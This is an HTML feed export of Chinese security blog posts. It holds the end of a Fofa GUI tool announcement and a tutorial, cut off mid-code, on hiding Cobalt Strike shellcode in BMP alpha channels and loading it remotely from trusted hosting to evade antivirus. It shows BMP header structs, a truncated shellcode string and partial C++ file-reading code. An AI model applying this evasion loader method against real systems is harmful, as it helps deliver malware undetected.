!important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">ListView输出ip,port,host,server,title。</span></span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">修改输出内容为result.csv。</span></span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">修改从GUI界面加载Api key。</span></span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">修改支持双击点击直接打开url地址。</span></span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">ilmerge合并exe和dll。</span></span></p></li></ol><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"></span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5499451152579583" data-s="300,640" style="" data-type="png" data-w="911" src="https://wechat2rss.xlab.app/img-proxy/?k=2cb1a834&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfNUz3zFv1U7eqZQbP2IGuu9BUy2R8e0KEMtmmbMMvHwPZiagyG6bEXaFSuD2FomnDVowiaCnZ4RDQQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"></span></span><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><br/></p><blockquote style="box-sizing: border-box;margin-bottom: 1.2em;padding: 15px 15px 15px 1rem;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(96, 125, 139);font-size: 14px;line-height: 22px;background: rgb(242, 247, 251);text-align: start;white-space: normal;"><p style="box-sizing: border-box;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);">来自社区，回馈社区。</p></blockquote><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">需要下载的可关注公众号并回复：<code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Fofa</span></code>，获取下载链接。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">或直接到github下载：</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/uknowsec/Fofa-gui" target="_blank">https://github.com/uknowsec/Fofa-gui</a></p>



<p><a href="2247484596">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f837155d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484596%26idx%3D1%26sn%3De55cbea5df2e0c36a77fca2833d28558%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 24 Aug 2020 14:06:00 +0800</pubDate>
    </item>
    <item>
      <title>利用图片隐写术来远程动态加载shellcode</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484591&amp;idx=1&amp;sn=73df21ec5356d3c695befcd40c294383</link>
      <description>将Shellcode隐写到正常BMP图片中，把字符串拆成字节，写入每个像素的alpha通道中，然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载，能有效地增加了免杀性和隐匿性。</description>
      <content:encoded><![CDATA[<p>
原创 <span>c1y2m3</span> <span>2020-08-18 13:00</span> <span style="display: inline-block;"></span>
</p>

<p>将Shellcode隐写到正常BMP图片中，把字符串拆成字节，写入每个像素的alpha通道中，然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载，能有效地增加了免杀性和隐匿性。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2c7c67a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvcamMSECNTWm6UNBFvedOibUs7MgtUhDK0RzBYYHLrsDic6qrslb7DS6VnRwzbKT9gyibKoFgeFJsHAw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">0x01 前言</span></h3><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">将Shellcode隐写到正常BMP图片中，把字符串拆成字节，写入每个像素的alpha通道中，然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载，能有效地增加了免杀性和隐匿性。</p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">0x02 相关概念</span></h3><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">BMP文件的数据按照从文件头开始的先后顺序分为四个部分：</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="box-sizing: border-box;color: black;">bmp文件头(bmp file header)</strong>：提供文件的格式、大小等信息</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="box-sizing: border-box;color: black;">位图信息头(bitmap information)</strong>：提供图像数据的尺寸、位平面数、压缩方式、颜色索引等信息</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="box-sizing: border-box;color: black;">调色板(color palette)</strong>：可选，如使用索引来表示图像，调色板就是索引与其对应的颜色的映射表</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">位图数据(bitmap data)：就是图像数据</section></li></ul><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">下面结合Windows结构体的定义，通过一个表来分析这四个部分。</p><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.21092278719397364" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="531" src="https://wechat2rss.xlab.app/img-proxy/?k=a540d3ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcamMSECNTWm6UNBFvedOibUJoBVwzj0DkTxp9fTyzHIzmLn5IxibXYuaHdzDhFCrQK74BHQcO12JRA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这里已经有先人分析了，引用参考</p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="20" data-source-title="https://blog.csdn.net/qq78442761/article/details/54863034"><section class="js_blockquote_digest"><p>C/C++信息隐写术（一）之认识文件结构</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3EC%2FC%2B%2B%E4%BF%A1%E6%81%AF%E9%9A%90%E5%86%99%E6%9C%AF%EF%BC%88%E4%B8%80%EF%BC%89%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%3C%2Fp%3E%22%2C%22digestLen%22%3A20%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fblog.csdn.net%2Fqq78442761%2Farticle%2Fdetails%2F54863034%22%7D"><span class="blockquote_other"><a href="https://blog.csdn.net/qq78442761/article/details/54863034" target="_blank">https://blog.csdn.net/qq78442761/article/details/54863034</a></span></section></blockquote><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">打开010 Editor 然后把文件拖入分析</p><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.9143920595533499" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="806" src="https://wechat2rss.xlab.app/img-proxy/?k=f154484b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcamMSECNTWm6UNBFvedOibUF1FAULQUwj5icKEdG9gofokickpkichXuUClx5AWNQ256Td45zSfXQyxg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">img</figcaption></figure><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">一、bmp文件头</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">其中最关键的两个结构体BITMAPFILEHEADER和BITMAPINFOHEADER，这里面保存了这个Bmp文件的很多信息。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 16px;color: rgb(51, 51, 51);background: rgb(248, 248, 248);border-radius: 0px;">  typedef struct tagBITMAPFILEHEADER <br style="box-sizing: border-box;"/>  {  <br style="box-sizing: border-box;"/>  UINT16 bfType;    // 说明位图类型  2字节<br style="box-sizing: border-box;"/>  DWORD bfSize;  // 说明位图大小  4字节<br style="box-sizing: border-box;"/>  UINT16 bfReserved1;  // 保留字，必须为0  2字节<br style="box-sizing: border-box;"/>  UINT16 bfReserved2;  // 保留字，必须为0   2字节<br style="box-sizing: border-box;"/>  DWORD bfOffBits; // 从文件头到实际的图像数据的偏移量是多少  4字节<br style="box-sizing: border-box;"/>  } BITMAPFILEHEADER;  //一共16个字节<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1.最开头的两个十六进制为42H，4DH转为ASCII后分别表示BM，所有的BMP文件都以这两个字节开头。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2.红色箭头是图片的大小（这里对应的十六进制为26 3D 17 00，但这设计大小端转化，所以他一个转为00 17 3D 26，换成十进制就为1522982）。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3.黄色的那两个箭头一般填充为0。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4.橘色监听的bfOffBits是从BMP文件的第一个字节开始，到第54个字节就是像素的开始。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">二、位图信息头(bitmap-informationheader)</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">同样，Windows为位图信息头定义了如下结构体：</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 16px;color: rgb(51, 51, 51);background: rgb(248, 248, 248);border-radius: 0px;">  typedef struct tagBITMAPINFOHEADER<br style="box-sizing: border-box;"/>   {<br style="box-sizing: border-box;"/>  DWORD biSize;  // 说明该结构一共需要的字节数 2字节<br style="box-sizing: border-box;"/>  LONG biWidth;  // 说明图片的宽度，以像素为单位 4字节<br style="box-sizing: border-box;"/>  LONG biHeight; // 说明图片的高度，以像素为单位 4字节<br style="box-sizing: border-box;"/>  WORD biPlanes; //颜色板，总是设为1  2个字节<br style="box-sizing: border-box;"/>  WORD biBitCount;  //说明每个比特占多少bit位，可以通过这个字段知道图片类型  2个字节<br style="box-sizing: border-box;"/>  DWORD biCompression;  // 说明使用的压缩算法 2个字节 （BMP无压缩算法）<br style="box-sizing: border-box;"/>  DWORD biSizeImage;  //说明图像大小   2个字节<br style="box-sizing: border-box;"/>  LONG biXPelsPerMeter;  //水平分辨率 4字节  单位：像素/米<br style="box-sizing: border-box;"/>  LONG biYPelsPerMeter;  //垂直分辨率4字节<br style="box-sizing: border-box;"/>  DWORD biClrUsed;  //说明位图使用的颜色索引数 4字节<br style="box-sizing: border-box;"/>  DWORD biClrImportant; //4字节<br style="box-sizing: border-box;"/>  } BITMAPINFOHEADER; // 一共40个字节<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">5.biSze是指这个struct BITMAPINDOHEADER bmih占40个字节大小。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">6.biWidth,和biHeight指图片的宽和高</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">6.黑色箭头bitBitCount代表：<strong>BGRA 蓝、绿、红、alpha，来存储一个像素，蓝占多少，绿占多少，红占多少，alpha是透明度，这个字节的数值表示的是该像素点的透明度：数值为0时，该像素点完全透明，利用这种特性来藏数据了，而不影响原图片的正常显示。</strong></p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">7.这两个结构体结束后：剩下的部分就是像素的BGRA了。</p><hr style="box-sizing: content-box;height: 1px;overflow: visible;margin-top: 10px;margin-bottom: 10px;border-right: none;border-bottom: none;border-left: none;border-top-style: solid;border-top-color: black;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"/><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">0x03 程序实现</span></h3><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">现在这个程序的思路就是：</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1.用C/C++代码读取图片文件里面的这两个结构体。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2.读取图片到内存中。获取bfOffBIts，再获取alpha通道（+4）。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3.把数据拆分，插入到alpha通道，保存文件上传到阿里云对象存储OSS或可信任网站上。</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4.远程读取被修改图片的alpha通道，拼接组合shellcode申请内存加载。</p><h4 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">一、图片生成</span></h4><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">为了方便隐藏写入，将CS生成的shellcode转换成hex编码</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 16px;color: rgb(51, 51, 51);background: rgb(248, 248, 248);border-radius: 0px;">code = <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;\xfc\xe8\x89\x00\x00\x00\x60\x56\x78.........&#34;</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">print</span>(code.encode(<span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#39;hex&#39;</span>))<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">核心代码参考 <a href="https://github.com/loyalty-fox/idshwk7" target="_blank">https://github.com/loyalty-fox/idshwk7</a></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 16px;color: rgb(51, 51, 51);background: rgb(248, 248, 248);border-radius: 0px;">//dwBmpSize.cpp<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(153, 153, 136);font-style: italic;line-height: 26px;">#include &#34;dwBmpSize.h&#34;</span><br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>CBMPHide::<span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;line-height: 26px;">CBMPHide</span></span>()<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> sBmpFileName = <span style="box-sizing: border-box;color: rgb(221, 17, 68);line-height: 26px;">&#34;&#34;</span>;<br style="box-sizing: border-box;"/> pBuf = 0;<br style="box-sizing: border-box;"/> dwBmpSize = 0;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>CBMPHide::~<span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;line-height: 26px;">CBMPHide</span></span>()<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>bool CBMPHide::setBmpFileName(char* szFileName)<br style="box-sizing: border-box;"/>{<br style="box-sizing: border-box;"/> this-&gt;sBmpFileName = szFileName;<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">if</span> (pBuf) //如果已经生成就释放掉<br style="box-sizing: border-box;"/> {<br style="box-sizing: border-box;"/>  delete[]pBuf;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/> HANDLE hfile = CreateFileA(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">if</span> (hfile == INVALID_HANDLE_VALUE)<br style="box-sizing: border-box;"/> {<br style="box-sizing: border-box;"/>  <span style="box-sizing: border-box;color: rgb(0, 134, 179);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(0, 128, 128);line-height: 26px;">false</span>;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/> //和struct BITMAPFILEHEADER bmfh里面的 bfSize的大小应该是一样的。<br style="box-sizing: border-box;"/> dwBmpSize = GetFileSize(hfile, 0); //获取文件的大小<br style="box-sizing: border-box;"/> pBuf = new byte[dwBmpSize];<br style="box-sizing: border-box;"/> DWORD dwRead = 0;<br style="box-sizing: border-box;"/> ReadFile(hfile, pBuf, dwBmpSize, &amp;dwRead, 0);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;font-weight: bold;line-height: 26px;">if</span> (dwRead != dwBmpSize)<br style="box-sizing: border-box;"/> {<br 